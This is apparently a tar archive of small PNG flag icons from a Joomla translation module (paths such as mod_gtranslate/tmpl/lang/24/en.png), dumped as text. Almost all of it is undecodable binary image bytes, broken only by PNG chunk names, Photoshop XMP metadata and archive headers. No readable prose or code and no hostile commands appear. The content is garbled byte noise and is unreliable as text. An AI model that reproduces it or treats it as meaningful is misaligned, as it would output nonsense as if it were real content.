���e��?���!->�7�-�Κ�fj�<�L�k��B�q����'�������TM�n�'��3p���߳�6��rw��Cug����@�<�1�xm��h[u����&�F먇�D|�����:��ů��o��	���>������t[���Ƨ=�"�[�Β�Tu]R-��iV�6ۊ���d�[�-��Y�~z����|�+N�7?�]M����rYA��ܚ�p�<w��m��p�y�9@4�+n{��Z�f[�Չ�@�y�-��5�3�~Ѷ�����д��i��1�����ciͺ||��:�3�ꋗ�ڄ��B���`�泦0%���@*lҥ��loR_��7�u�f�>�~�~}�ҏ�ҏ~Co?�m:�'��'�S�ܯg�?�'���+^#��h��\�~�e�}���o����׮T�.�7��&��6Y��y�.=�67�u��%%-����ntpc�z�Gϯ���7_����~�۳�_/ѿ�]�9�}T^55�b���Sԁ	����CAn�H�ً4�W)F�v
B��ƛ��g?�;���X�?�>�����\{��z�i}������mt��x-u4+�2#�Xt���?�?�]��q�ᇤ�>�k�7%��Y��.;�Q1��d�������3�ZN<K���ռ��͆��|j��.떟��ˎT���z@a�QW�/>L5P��`��Ѻ�a�x����8?~���h^��/�߆��2z�����[s�Lx��_>�<I1��X>8IE_$���L���R\t�����΅F�^�a��->7L7��x��#Z�a��~�3�cicOI����k�y�����oߡ/\��w}���BcM6S��%��	e-�J�
��qSut5�1_=�oD���L�ثyD7>�:���l��WJ�;��m.C[0س&��B�)q*��٦}�Z��J)�_d��*��Z��Wk��5ǜ����������T�}�ڳ}N�!5$h�(P���x�^u��ex��$g�1Ks�G�zD_=n�7�08�_��{z�z�;��E{��.�g������xz���I���H����m��u4y�s[o�a�f�DA,�zPP�,P;��o�hʧn(�L.0P��x!�O���ml� Pj�@
��5@���� Pj�@
�@
�5@�@��� P Pj�@
�55@���� Pj�@
�@
�5@���� Pjj�@
�5@�@��� P Pj�@
��5@���� Pj�@
�@
�5@�@��� Pjj�@
�55�D)���eY���n���3�Z�>�L=�B� P�j=�=?_�J5��Λ.?�hsW��'W��'���r��ox�UWR���͟��c��G�Tg��E;f���j=q�[�7�׻���W-�ó���a�7|�u:�@
H��q,-~�¦n��{V��&�M��m+��Û���]wS�(��7���>0��:��*c�TZ���E�Z4W����7Hw߹TG��6m�۟��M�$�~�j-P_��P�Ǫ�?��}�9��؟_�ՙ��84���a���zMA~s#5���ZA��Sv�Q�(�Ǘw�sfN��fԗʫTջf�:׮��9�U�ا���u�"G���3�%�OZ0�E:l=�����n�W��Mk���+�5 ���U��T�ַ��lʖm[*׷�7���{,�M�sy���re�%��^Î|4�h3;]��4,^�J�;X��^�C���SY��a���l�'f��h��y�����~���:8W�_���bM)�]���@� P�I������c��6~�g��Ï<�1ύ
�v�K�޿ig�6�S�N�A�<�����y���p~WV��W����fǾޘf��h���_Ҹx�{�-�V�ܙ�m��j/�U�ЭM��V��x�Zv�����\��|W��V�x��Q}�6ݽ��J�fvV��tjp��@
H.�|�ł����-��ʽ�S\j��Z[T���c��=�V�{4lB�(_���8�'�@v����9R{��ȳk����h��);vU�m�5^,>��e�̧������2��8Gs�e���T��R{�����^ʮW�a�-h��k�)���k�i��M�p��s\�0�@�)�̭8��̙������ə5K�y�5[�ܹ�Z�[��.��y_��``V�-��jco��B_�С0�m^�>����,�頻�^��/��w��+/���{�F�_ׯL����u�'��k�t��{�S{���W5;��ʞ���R��b���9WG��5?���L5������|~����
�|�����K�eWm�#�5'K&`�Tu�����d\3��L06��������@��<}�{���n;Nӝw/��l+��	���O\�3���_���3�=X�ri����u��7����%Uf�뇊C����j)��E���05�	��5kǬ�v�/o\i�V3!-��RSX���꒿q�,�Q��g�^32�����4l�@�Z��_ueD��x�i��	߷����k�e��G<�/�Ԓ	iX�(D�wժ������-��e��_֌X��re�n1L�֪��@
��s�S��J5�-�y����]��{���U���Ξ1=^�[�����rU�?�Ya�>�A�uV#&��������)K<�^O-��^����s��/���زF�/Z?�X��Ƌ�g�����e�EX��wm�|ޘ��٧
~��^�X4C-o P�[�ᇫ�]�TX*��Э �o�t����xf:���}�֭��ߧ�3NS�QG
�?�V豆:y�M�6}`���������
zbE��뗮.��soP�����h[�6�E�p�8Lo�-��ߣ���%�&�f�j@b��)�����˷��t�lO��<�5����[�<�^ǟ�}�l�y������sY{�J��3p8x����_�E�D˩fΙ���R������+|pR"`��i;Y��S��7e{m�atB�}4n7v_��d�Ri��_���k�����Ֆ�ޮ��`��KiZ�(u04�<�0m�A��t���ТG��D	;�P�j���WTs���YA�,.*�Xګ)m�
�t-o˯+�^$�+חe�ԁ�y)�unYi�E�>�*�(���]SD':��[�uJ�o�9��K�f�B�j��7q��/Q�u�P����l&��f����c�y��^K�l��4�ݼ?ZZe� P�ʋ�*ay��m�w�m}�K��n4�����I��1��a��Y�y��zz b[5pϊ�5�eYV4
:��:���(��7�S�V����I(��e��i�)�z}�"���j`
�b�@
�5@�@��� P Pj�@
�55@���� Pj�@
�@
�5@���� Pjj�@
�55@��� P Pj�@
��5@���� Pj�@
�@
�5@�@��� Pjj�@
�55@���� Pj�@
��5@���dX��|��.�Ώ��ՠ�7�"�a�
g��e�-��M{�V3��i�Iգ�/�pۜZ�[ޡ�7m�����I�-��_���┢	�>��%�3���}��-��C�~n���_����]�&��l�����7�.8��;��]��ޕ^����T�y����\�=>����b�@��Z,�R�կ��gul����z����&ͩ�<9���Y�tHy�ׯ�3k�pʅ�������g^�L�G�_�ݕ��e�Է��q�����5��ߗ�u��x�@��vp�@o�xY8l��6v7~�����Tğ�:4��UM�5WUӤ3[\�'�ZO�X��o�.������3����g.������r�P��g��c����^K[@�"
 ��`|�/DĘ@b"hxI�&���EcLy1 %$�"�UQ$FbT�R� 
�@ii���+��ݙg����]�E�^��,��1��,3���f&�7�|���m�J�M;??��ޮ��i�ajZ���h�G��?*e�n|�ԡt�)��2�^��-��Tĉ�GL�ش9ʧ}*��=3��Wq��(?�v���>��-\t�����_���M���F�C�$��Ɉ����!��!��Tˍ�kjZ;@�Idyg}}Q96�d՛5��b�Q�U�����M�c�%D��y�J��vj����|[\�e����|�O3�����v��n���eK��b�4To�`m��˧i#f��|W���|��*�R����5-ʒ$ҭ[�����|��j�VGu�[u�ܨ����t&f`�ѻ%�n�=�]� �i�"^#�n�5����Y|){&N��w��������O����8q�_�dh�џ���il�.���c���|_�����h��g3O �i9�˝�Q�/ڲZԖ�Gejɺr���iζ�>�'ˏP�Z͊����4��Z�k�D��#��c���C:�ƶ���^`jl��
<'n^5��������C�[�����j&�4��?�SPo��Q�\��Q�z=�j��͜�yHwT�Q�rG[)_&���2�ԾQ5-��I̸fe�vq5�̬���o�5���oԍ1��y2Pb�z�j���<��Bh���C����s��_pC���'�w��|ݥw��j&�$M�'$��4B]La���3���gE1%��������c�M)�.-�����	�#o|��C
jZ�H�_��#�O��X��I�60�Hs}��с�uk��V��۰5��GZ�4Gߊ+��
�x~+�����)�J�m�4*���~�M�+o8���S�LΠnD���+N��Iq�=�z��S�1���R��Yy�fX���1�و�MԴ*mu��+Q=>��W��K�Ɋ���5��&���e~�p��^��r�9���?�t

ƭ����x�̳/[��W�>V0��lLV�^9$���A�D)?�4��9����q¼��9�ת^��?x��ho/G)+�g�cwU����eT֞p��i�_����4�ۂ:���������nŶ"/�RwwL]������oD��=n\>��sǜ����*.��aģ�C��'"���cT�7��wN�#��[�*�~de2cJ�=tz�wc-S���|{#�{��^o�W�j�?T�d�pPg�4��8�d���V��4��⛒���,��s�h���mF��Uߋ���ؗ�μ���{^7"��x&�$I�Z�sߔ���>�;n�E<����h�ƾ�1�+V��;�2�q'%{#�{�F=������Y��Z��/9��Us�x�朐�S��,�9@�fJwT�:b�����H�М	r���8jً�|r�w/�]�/)�ґfc�6W�x���뢫�]��x|�k��s뛿��7m��AM��W��Ļ�qq��x�7�z�\�mԛ	��ڲ�vy����h�F=ߌʥ����^q�	g]�u��NP7�#ͻ{s��*��V��]�xˤ�/v���){bP�6�B+ww��]Ge�Nk���9ɧ�����H��b�ศ��������u��-��X_]_�?}a���9�&iPg;n���9Bm�5�I�$���\7�K�����Vo��Z��7yH��`q��+w8�o�=�<��3��bɯ�-���F��?ym��[���Wk{�R*��ō��^�_���Vk��z?f��k��r�b�T���0���:?��r�=���[�Qm[��
�P�
@�c�F o�b�����FK'ԭ��;����?^��|�;�
�+�+@P�>��s���	,^t1Ҷ.lη5g����}.����1<
7�[1�}�5j`��A
�5j@P��A
�� �@P��A
j� �@P�5j���A
�5j@P��A
�� �@P��5j� �@P�5j���A
�5j@P��A
�� �@P��5j� �@P�5j���A
�5 �@P��A
�� �@P��5j� �@P�5j���A
�5 �@P��A
�� �`��o7Z	PVQlIEND�B`�mod_gtranslate/tmpl/lang/24/fr-qc.png000060400000003455150746170550013424 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:9ACA6DC271BE11E2B12EB483A97DC939" xmpMM:InstanceID="xmp.iid:9ACA6DC171BE11E2B12EB483A97DC939" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4E4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�Y���IDATx��VKOa=��L�� F|�h7B#�+��.��.�W&���J��ѝQW>�Ƙ`Ġ.%!������Pt�.��Mڛ{�}|��6�y�)�,MO���8Ui0�M5|��KOW���_��O\����@��
k�KN�㼘n��$�^���0=�f�do�76t�#��z�
���͇< �b_�_D����)PX,cw6��cm�u���b���V)+�/�(.Wq�3��\�ے(,i0�%\�w�� v�}m��Q�î���X��mkU�m���H'T�Xk
q���f�aC����9,�uLϰ���K�[n���`�W�X!(�178��Ƭe�
�S���"5__E����Pc2��`َ�X�N�4�UUm�Z��X,�̠碆$p]��	j�MO<���O�P��H��$X<�@Ve�>�k�2}cH���:�C��̨��y�Zf�ށM�Ң�2�˳y\�AE�V�V��g�ʌ�c*$����_�([��������%g/���^�=��3�t�lثn\�gL���CĢp�rPt�h�;뒙�#-�w�O#�cf��3^�Gr�=�G�;�%�[�@i�jOb���s���"tNe��G*)�S���;1ϱL��Ԟ<Ya�p\L`���6)06�:8���Kj�������H����i�7�Ĭ����F�gr���ޖo*+Ə�/Z�6�
o4������pp���5IEND�B`�mod_gtranslate/tmpl/lang/24/lo.png000060400000001320150746170550013013 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FVIDATx�ԖKkQ���Ĥ$m�e1RD)E"�ݸ������W.�t�Z�n*V,D�j_`kf�t2�/i�N&�M8�Ù{����w�s�a�d�4t���[-(m?x�Wx^��O�y=�E!%�;�3o}X(��/�B�cl�s Dg��I}��+w[CZ
�ZYt3�G'eq笜�e��\��N
�B�>sb��l
�wP��T!�;��F����,�4��8P�6�G����2])�x�.W*e~�6x����Cȧ�Cz�w	`�!l�i"bgx��f`vr����0��h��V�4EJ�FDx'"q�a~n��'RQV�Ƙ��J
Q�'��ʰ�נ��"M�:qn+�#�v�HrF�f���4EJk����V�٨�����e�ɔ�Җ�2g8�cE����Yz��f��}����e��a���3���K�V
+Κt.H�6����k�H!x�����0�������յ�7j�l��l��
>�����
!����% �crR���6mr�L�b�(H	�Rf�]lO�@m8�f�@���ׁ_�-�MW���X���I�J�}^jIEND�B`�mod_gtranslate/tmpl/lang/24/es-mx.png000060400000001403150746170550013434 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ9oA��^c;����H
�8�$�&-PP�	�)i�0��DH�HT
R����@��sw罡��u���'�������1ok-�i.�l�pH��;j�~���A�m�i���7]w�~��i{72������ݺ �
�s�1S���jY^����<Q�Ñ_n,��䒽_u�6��>T���*�F%����m�����#B5�Q>`-�q�D6ט�r9�.�a� *�*��	2@h���o�~�@am��[3<z��X"��J� �b�1M@(�bP�T:���na�����M���dz�y�
-���A;�(�r�AA�?bog���1��O?`�`��r=��vF[��,������-~n� ?5�Y^��Oͱ�����V ��L4�
#A��U�3���q���,l��P�M�^�f(7��!	�V� (jm��2<0�@�0�C!7�W�%��3Lܞf2��`M��1�j� ����I�<���\�L*[�S��Ȋ�
�Tp�E՞TqJ�K������ږJv����:��EQ�Q]M�EA�Y����X��]Ե��u`-V�iL���.
]�Z��� ���p��ӎ�8u��|���=��Ej�yIEND�B`�mod_gtranslate/tmpl/lang/24/uz.png000060400000001126150746170550013043 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMkQ��3s3�8��*���
Յ[iw"�p�/�w%�;܈�ƅ�R��+%�E�bb�&�܏��LA���wsg.�y��νWT�E*a�Z8@ԁZ���y��ӎ��%�ui����K��С���;7N�H�_mq{s��F��/�Xi��*���C�oC�_�WR�p��̳�}��f�i"�o5y����$@"�q�8��EQa�;FAQ���0��EF�
`�S��/y��u���O=�r�t������_��R������hl���-�.����;J^��~$�M*�0���ql���t���	��)�V��iLϕe�β,jF'�	y��'URb�����_1U�\8�|~񄢞������d�v���� 
�NA���E�4D���h�;RR�?�I��<���J���GI��F�F�	�!�z�{>�>��K��9�]�c���]�R��S��P��Oq8��IEND�B`�mod_gtranslate/tmpl/lang/24/zh-CN.png000060400000001431150746170550013323 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�mod_gtranslate/tmpl/lang/24/ht.png000060400000003252150746170550013022 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:64FD6DB3723C11E28410E0CA6E5260B0" xmpMM:InstanceID="xmp.iid:64FD6DB2723C11E28410E0CA6E5260B0" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4E4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>����iIDATx��V;oA����3"QBH�$J�4i���GPP���Ёhi�DA$���
��x 1D(��v��}1{~�}n@炑F���;��̷�Ǵ֘�X�����:�>���oNz`���~ݰ���x~�(Xõ��3u���n��F� �!3���546
urjb�_`�����8Rjt�E�Y��Z\�����>�z
̜ғ��ѻ)qF$L��]���g��Pd�]�(�*�%j�|'<۱�A[K��/{!N\\�;�n�X�r��~���Oట�t�s�Dz-*t�����+8{��O?@�gN�B�t[��`v%���=XQw��|	���l�S�E����ǵX/���.^���m\��'XNGP)Ax..�DM��wR�K��֛u4*9�R�:�'x���|��.[(�4� �6�� u�[��9x_X}����R\ԡ<��|����m+=�E�b@E�N"���I4�5�}�/�!Y7)!Y��Z(��j��`'�[���Ə������P1@����P_�R��"����m���ɓ���G�BZ�:h�~�h�0]��Q����?*�^���IEND�B`�mod_gtranslate/tmpl/lang/24/eu.png000060400000001713150746170550013020 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<mIDATx��VKlLQ��Ni����4�H(%H�G�6%MB*�K$6	�� ��l�(	!��.�{�D�1�ZU󞹏s�猎���I��{�����3�eY�%c�אHDED*����u�W�m��I2}Jbm[�1x^F�<���i�<���v���AH�q��@)pɤ|qE5P!�K;�������䝹I��𫨦���z��.P���wG��3b�!�w�@ QL�NC�~)��)��'x���"�y��^:'��*nL�N�&��X�A�qΏ���!A�KUv���ۢ(6�K&���W�����dž	�D�0��W��`0Ӏ�/��`�ȒրS\~T
�W���"�@X��Rq\��AKe1ϥH�/ab��0��I3b`��Aǰ�Q�N�{��ˈ�ľ
���h��O�<$��<�KR��L/3�S����E��m]!�S��"xg'��^9�dM�[GV/}�&ے%0M�Ae*���(JA� �NCU�q��c���C r\Y1X,��6�-ÃJW��r-�=�t���Þ��X�>�{���Hd: ��"f2X,CO�ԯ��~�f1A�O���F8-��`�V���>��	�}F%�t#'DTR�R��g��q�ht;eq��u��څ�-���\��eo#B��ũ44��[D�x����uHh\]�c�K�K��
�q�b�>��,���i�ntcϝ�(6��o��Q�v�'�DT�9h���J��)<�v���?��>�H� ��!��j��c��hnw/Tq��F�/�o_2��Q��Q�[B���@����!�Sx%!
G.Ɖ�\���{U�	��xÏ�r�T�~�������QZ��U�`ְ~LVK�WIEND�B`�mod_gtranslate/tmpl/lang/24/la.png000060400000001174150746170550013004 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�ԖOkSA���佗��6���.�KEA���P~��Ņ��"(�%J�B���6yo�^Ii�����f1�0�3s���l260����s`h����E��w�%�}�|�ƴ,P�����x�z0�,��*t2t��N�hfy'����ă���g1��5�`����dAN�y���Ჟ�xcl�x���(d�`���"��>��Cv	l�(�gD*�t���]��b��op�6C��$
���DDf%B��(Ȁ肁o��K	��#,�H���~U"/�w@�K3h��@�O�������Ԯ= �I�0�&�$�&�Y���Q����Ǐ9�G*Ɉz�~I"�Qd1�eBaB�����=��7��;��L�qU"Q"���\��'D��Z!�����B�2�ΑHŁ�q�,�!&lQj8���V�Ņ6�Yݎ�%�{��*�
���ڼz W��~��.ޅ0q��RO0@�	l�����yG���Zc8`d��_���ps�3IEND�B`�mod_gtranslate/tmpl/lang/24/km.png000060400000001345150746170550013017 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FkIDATx�Ԗ;oA�{�>�B�$�����$�
D�� *���&��HH4���(L�u����P���I��#�������w{JD��xLX&�
�ܘ}�@OS+��յ?��7OC
�}_�to~���5�S+�b�~��J2t�d�
D2=���t�@kg,Q7&�%�F�����{�]�SXӷ�o��)���5'YC���7�C�#����H������\���m�N\����ƶ[�K�]��];�]ΚCb�l!�H$zq�ң$�Hk5��*�ß�E��P|����%��1rN���Xk��H��k6G��jܾE^kD,����Q��;��3�SY����_�r�nm�M�cT!�tc$I�*��.��I67In������b`R��˲�(ܽC��f���ET1��7�Z�s!��Y\m���$��]_G�,��`o���?`z�	�icw����p{��}qS�
�"��VQA@��Z�XD
�@R�A\�v�j��Z��.v��N���LjW��'cg����>@j_a�x��
�5{?���Ҹ&�ź�2MScP�5��&U@����}���E��k�b�X����Fxj�NIEND�B`�mod_gtranslate/tmpl/lang/24/be.png000060400000001146150746170550012775 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖM��@���n;�f`��?�{Ċ� qN�Xp�K�qD�Q�1I&��U,����I���U�_��.���K8v���H��fد����G@��נ
n3�'���
��%����<��'`}-1��`/�@��A=;�TA�����յ���_{x����f�Z�5��t������Y����XU��`��ŷ���{�L��]�,��k�e�
$M�4!�����ޡ����'�v�;���`
Ү�LZ�k���� $��h�o�"���F�"@���wo�>��	1�4R����&H��k�vM+b�
ʒ��W�(I?jx�*b���(�$�̉�oކ��g��3���6�S|�$wO�s�L��U�(q����y(��LQ��g�Y$�]-S7�	Vt����mD]wriN$�����l#��L���������:���
���W�w�&����IEND�B`�mod_gtranslate/tmpl/lang/24/en.png000060400000003347150746170550013016 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��}p���ٻK�$GD�	0M  M�(j
�ڌI�h�l�[�NǑR-6Ć�0mC�Fl�$ED�`�)$��!)� MB���r�w�{����0�����|��>��*"­�[,_(@��H�!
H��۽W3������ݝl�Rυ�b\��I����s��hQf�D����*�}F/D��Q<��N��O�{��d����W_�>�$������
��j�DK�Ř��kRg܋�}.V4�f̘���� �p��N�z�m�!���%�19P�K�Ϡ����*?^LJ�d~x
#Fdp�	|}�!J%`v^M��uvzQ0A��A�]Ϟ�D�'��lĖ?����Q�R�r5��~X}��kf16�$Ww���<�Q
G���A���v�DtuV(�bF�.�����N��y�F2��\>{לbҦO����nmLd���u�k�1^g4��Y�q�8�o&t�Y��({�̚5]��Ft�@����u=d2s�T�N�P�w���#kM9iӧaD,����#ttx����d����x�s�d��xv�?7�*
�������G-Љ����,��7x�r��_�VPȈ����l��|<��u��}}aL3%Z ����78y��򖋬\�-���Õ��ͧ�t!S����nY��l�`���v�c\�XAW���ZA��0-���nv�|����(��@��7��o*>�~�›�{f6l�����χ�JGMv�(1�D�cz{I.�AfA!ڰ!44���XV$,�@��x!���V���z%)Q��~��WAE���y��8S�`��M4����(
�͆`��ݓ�O�/��u�0.@D"�q�����7*�1�i�>��������F�+m@�{��#��q]IBM��g`C�R}����0�b�zs��ÔQ(�h������4�!��	_k��]�,YtOt�$x�
���1"���$Vn�H0D����v�q��Kw͸v��ݮ$*�a��6�EE�c�̿ߡ���/��t)���DЉkD�T9�x�t<����u��jG	)."~DL�$	,��K��?>�w�1��3Ivhtm��?x��wж�m�O�-X,AD��XUW��[�����~��5��\���
/s�n�_��e适aXq�\M["N��d�t]�H�|��>2_Zl��6���Qqf�	,�&�6ivdK�#[�����,�c�TV�~�y��J��7Y.�o��?�+N�
�ٖ��8�۶-��v9Y�R��pއ���uu<un8+��B��np�B&�廙7�Wtv��vy'��L)�3�	*G��r�bҳ\	;�QWJ{�Zi&U<��ʡ�>���J�	,��`Q�\*cǮ���ĭ��.i��Ks�ˑ=
�*@���q;.tpa�Ө������T��R�� ����|���[�)�8{"
'{�^��%
TUeժ�<��QR�m��-��X���V��|���˯�ҹa#�ƣWlga�	���c��lx<z|��x<|>or@Ƴi�^O�}�&L��}�1�o�W�"
p0�o˻�SJ�^i�e�yK�)_���j�_RP=�IEND�B`�mod_gtranslate/tmpl/lang/24/ha.png000060400000001006150746170550012772 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ͑�0�?��%��
�B
4��5@�*`��
�f��r��Il�pI��jwЎs�<�>}~ϲ���s̈9�.@f���kg�K���lbS���ջ[Wy���>�~�8gM�<��N�y���W��$Q���e��8���o��G��2>{�����l�M�UgPbN������Ei��������G�&���u����&��2U���U�VJL���if�ݰ��3X�3�#���
��.�u�����ؼ�2'�� �cnՂ#��~x_"��	̔�>�@�j���U@�H`�����M�	�v��Sb��M������jA�qmӬ�h�#��_��z�X�*�#��9��'�|�s	�:ڽC�&��ߟ*~
9_�9��fIEND�B`�mod_gtranslate/tmpl/lang/24/ar.png000060400000002710150746170550013007 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FNIDATx��YlTe����33�2�i��V�eu��(��HԸE1.!Ƹ��W�Dc�׮�[�	��p��%qk�
Z���R�PZ�Ng9s�/fJ��X�)7|ɟs.�������{�1��9.�
DJ��xP�����m1�ﷄ`�ד����-��?�s�G��������Z�>���D9�1�R� �cY���Z�<�}n|�x��Q�� �h�q�GA����O�e�,��Cc̏��o������]�(��p��e��a�[p�� ��CS���%#����Yp�	���ERI��K�?�g��&67�'�h=�-#GQZ��idݢ�X1o?v����'dJ��F�+ �&�����<Mڪ%͋W�ભ����C��d� N"tt���!����-Mwb[�:� �-N��W~�c~vzT@Cu�V��c{h��B��KY�O������џ���Q��|��t?��C(2R�qe�@)2^7��0�M��p��m=_cT��\,N����TGb$�T�Ul���qӢ5���rE=˔�F��@�%c^/�'z�0�h���sS�?�qy�r��}�D�h�IDbhcX��
�9��p�t�^�Q;°;
�3qvA�%���@jE��'����9��8��;@":�����*��y9�#8��_g�X�aaU=c�����&�f�x�~�L!�,(�  �gY�_�hʆ��3$c��U-d��pb���h�DE���?��U�i��+}mCG���B�����X�J"�Bi=y̍�y�$
����wk�i^����c�Jp|��C���f)7��p���TU�g�D!��J��Jb�A=ya��@�rٺ�v"���^������Ǚ�Q�T�������!�^�.�������&(��'`RK�j�Mut�6>�ޣ���4�M���}/sCj-������;����7�>!�eХ�?�@ ��m�51<&�M���.�v��Ⱥ{�U���]l�p��:��STW&xl�<��~~�9�/��1vh��?^��|۶��LkY�/}�=�<{��ll�ȁ��Jw�+Im�]�_����8;��?��(���.���q8�C�y��n�/[ͺ�M�I^��MضM_��Tte{y�׏P€p����;��Zg��7l����I�9�������D�؜i��ftwB�.#P4!�h������
��c�9�
 ��	Z�2� �#�3��D� \Qv�V�w�N�k&(�!��̮'.և�`P;˶|8"J���u6�2�����&������o$&IEND�B`�mod_gtranslate/tmpl/lang/24/fy.png000060400000001451150746170550013024 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtSoftwarepaint.net 4.0.12Ck��IDATHK�U�KSa>u�t�MW�"�D*� -�IE
/,�()�A��Aެ(�r�2\f�6��1�L�h�VNev�ζ���=�������.�Ϲx��~���9�U�f�������r�<2�碨�cMco�^¨w)���$���–�A�:U}�Yl:ݟ��^gĕg��D:�O�lk��է_��ɨ�a[�SS�>y��Q��Q�iS%+̨I&����j؊�X����w�J
C5V�^h��܁��D�f)�&��^ߌ��H$���!��
}G���O��`�	�l��7 1�M�y3�G����UC2�12��@!U��OO��R�	����E��y�[����82-᎛X��)��m��~7���#�=�b[�[͂loā~z�еK�<�)y��J��̓ؠ{�W�����2҅�۴����
B�/��o����a'�Qg�?��0�h��*p�\m%D����lo�/;4�0�o��_�M��� 
!�02s��A<��J���M/a��P�a�6����B�Ϧ
d#����q��.�FZWS��Gޟ��ʛ�ln}��m8��z7�};�m�P��9�Yl�݁���
�gH�h�~�L?��[�Ehr)���
A�&f��E�{���V���rR3XNj�G0���r}���IEND�B`�mod_gtranslate/tmpl/lang/24/lt.png000060400000001060150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엱nA���;�I�	E/@CGOE�s�0t)xj�<(6�nwf(�l_��&���jN��?;�]qwNi�����HS����z��,�$����X�����Xֽ�
t�w�����W�'���x�,�;�E��x�
Z���=gAh�&`�
��>��x_�a��}z��%��
I��^��^7=@1e�����@7Z����m��2ьL4�Η�L��-���*ݒ�o�=�'�ϪT)�\��<P��&L�@VE�1��C�1=�|��T�R�%���an�K�(�1ߏ�B��&TáW ��{�7>3sǻ�6�����vV
�u�B h)��M���q	@M���"�_tb��� �����j�W��+��T�+�5�"�Z��"�b#����8=5�����"J�2�IEND�B`�mod_gtranslate/tmpl/lang/24/ig.png000060400000001006150746170550013001 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ͑�0�?��%��
�B
4��5@�*`��
�f��r��Il�pI��jwЎs�<�>}~ϲ���s̈9�.@f���kg�K���lbS���ջ[Wy���>�~�8gM�<��N�y���W��$Q���e��8���o��G��2>{�����l�M�UgPbN������Ei��������G�&���u����&��2U���U�VJL���if�ݰ��3X�3�#���
��.�u�����ؼ�2'�� �cnՂ#��~x_"��	̔�>�@�j���U@�H`�����M�	�v��Sb��M������jA�qmӬ�h�#��_��z�X�*�#��9��'�|�s	�:ڽC�&��ߟ*~
9_�9��fIEND�B`�mod_gtranslate/tmpl/lang/24/mr.png000060400000001121150746170550013016 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
